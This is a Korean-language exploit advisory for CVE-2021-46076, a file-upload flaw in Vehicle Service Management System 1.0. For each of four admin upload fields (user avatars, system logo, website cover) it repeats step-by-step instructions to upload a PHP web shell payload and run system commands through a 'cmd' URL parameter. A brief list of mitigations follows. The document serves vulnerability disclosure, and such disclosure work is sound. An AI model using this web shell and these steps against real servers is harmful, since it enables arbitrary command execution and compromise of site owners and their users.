CVE-2021-46076
익스플로잇 제목: Vehicle Service Management System - 'Multiple' 파일 업로드로 인한 코드 실행
CVE: CVE-2021-46076
CVSS: 8.8 HIGH
참조:
설명:
Sourcecodester Vehicle Service Management System 1.0은 파일 업로드 취약점에 노출되어 있습니다. 공격자는 여러 엔드포인트에 악성 php 파일을 업로드하여 코드 실행을 유발할 수 있습니다.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- My Account 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=user
페이로드:
<?php system($_GET['cmd']);?>
- 위 php 코드를 저장합니다. 예: Cmd.php
- My Account 섹션에서 필요한 모든 정보를 입력하고 Avatar에서 php 파일을 선택합니다.
- 업데이트 버튼을 클릭합니다.
- 새 탭에서 아바타 이미지를 엽니다.
- URL에 cmd 매개변수를 추가하고 명령을 실행합니다.
- 최종 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 모든 시스템 명령을 실행합니다. 예: id, whoami, pwd 등.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- User List 섹션으로 이동하여 Create New 버튼을 클릭합니다.
페이로드:
<?php system($_GET['cmd']);?>
- 위 php 코드를 저장합니다. 예: Cmd.php
- Create New User 페이지에서 필요한 모든 정보를 입력하고 Avatar에서 php 파일을 선택합니다.
- 저장(Save) 버튼을 클릭합니다.
- 새 탭에서 아바타 이미지를 엽니다.
- URL에 cmd 매개변수를 추가하고 명령을 실행합니다.
- 최종 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 모든 시스템 명령을 실행합니다. 예: id, whoami, pwd 등.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- Settings 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info
페이로드:
<?php system($_GET['cmd']);?>
- 위 php 코드를 저장합니다. 예: Cmd.php
- Settings 섹션에서 필요한 모든 정보를 입력하고 System Logo에서 php 파일을 선택합니다.
- 업데이트 버튼을 클릭합니다.
- 새 탭에서 System Logo 이미지를 엽니다.
- URL에 cmd 매개변수를 추가하고 명령을 실행합니다.
- 최종 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 모든 시스템 명령을 실행합니다. 예: id, whoami, pwd 등.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- Settings 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info
페이로드:
<?php system($_GET['cmd']);?>
- 위 php 코드를 저장합니다. 예: Cmd.php
- Settings 섹션에서 필요한 모든 정보를 입력하고 Website Cover에서 php 파일을 선택합니다.
- 업데이트 버튼을 클릭합니다.
- 새 탭에서 Website Cover 이미지를 엽니다.
- URL에 cmd 매개변수를 추가하고 명령을 실행합니다.
- 최종 URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 모든 시스템 명령을 실행합니다. 예: id, whoami, pwd 등.
영향:
공격자는 여러 엔드포인트에 악성 php 파일을 업로드할 수 있으며, 이로 인해 코드 실행이 발생할 수 있습니다.
완화 조치:
다음과 같은 사항을 구현하는 것이 좋습니다:
- 허용 목록(white-list) 필터 없이 파일 이름과 확장자를 직접 수락하지 마십시오.
- 유니코드 문자가 필요하지 않은 경우, 파일 이름과 확장자 입력으로 영숫자 문자와 점 하나만 허용하는 것을 적극 권장합니다.
- 서비스 거부 공격을 방지하기 위해 파일 크기를 최대값으로 제한하십시오.
- 업로드 디렉터리에는 "실행(execute)" 권한이 없어야 합니다.
- 클라이언트 측 검증에만 의존하지 마십시오.